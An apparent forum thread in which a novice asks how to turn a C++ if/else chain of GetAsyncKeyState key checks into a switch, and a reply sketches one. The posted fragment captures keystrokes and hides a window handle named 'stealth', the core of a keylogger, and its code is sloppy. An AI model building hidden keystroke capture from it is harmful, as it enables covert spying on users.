Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.
C++ switch statement help
Hello, I am having a little bit of difficulty finding out how I can take out the if else statements in my script, and replace them with a switch statement. I started learning c++ recently, sooo I probably haven't done enough google searching yet. Don't get me wrong, I know how to use a switch statement. It's just I don't know how to get a switch statement to be used with GetAsyncKeyState. Here is the code…
if (!GetAsyncKeyState(VK_BACK))
{
if (!GetAsyncKeyState(VK_RETURN))
{
if (GetAsyncKeyState(190))
{
printf(".",character,character);
} else if (GetAsyncKeyState(160)) {
printf("",character,character);
} else if (GetAsyncKeyState(188)) {
printf(",",character,character);
} else if (GetAsyncKeyState(222)) {
printf("'",character,character);
} else if (GetAsyncKeyState(186)) {
printf("",character,character);
} else if (GetAsyncKeyState(191)) {
printf("",character,character);
} else if (GetAsyncKeyState(20)) {
printf("",character,character);
} else if (GetAsyncKeyState(220)) {
printf("",character,character);
} else if (GetAsyncKeyState(221)) {
printf("",character,character);
} else if (GetAsyncKeyState(219)) {
printf("",character,character);
} else if (GetAsyncKeyState(287)) {
printf("",character,character);
} else if (GetAsyncKeyState(289)) {
printf("",character,character);
} else if (GetAsyncKeyState(17)) {
printf("",character,character);
} else if (GetAsyncKeyState(162)) {
printf("",character,character);
} else if (GetAsyncKeyState(187)) {
printf("",character,character);
} else if (GetAsyncKeyState(189)) {
printf("",character,character);
} else if (GetAsyncKeyState(16)) {
printf("",character,character);
} else if (GetAsyncKeyState(161)) {
printf("",character,character);
} else if (GetAsyncKeyState(192)) {
printf("",character,character);
} else if (GetAsyncKeyState(27)) {
printf("",character,character);
} else if (GetAsyncKeyState(34)) {
ShowWindow(stealth, SW_SHOWMINIMIZED);
} else if (GetAsyncKeyState(35)) {
ShowWindow(stealth, 0);
} else {
printf("%c",character,character);
}
}
}
Sweet Jesus that's horrible!
Switch-case are used to check one result against a set of values. Not to check multiple results( I think PHP lets you do this actually).
Is there a function which will return pressed keys? If so…
switch(getPressedKey()){
case 160:
printf("",character,character);
break;
..................
default:
printf("%c",character,character);
}
}```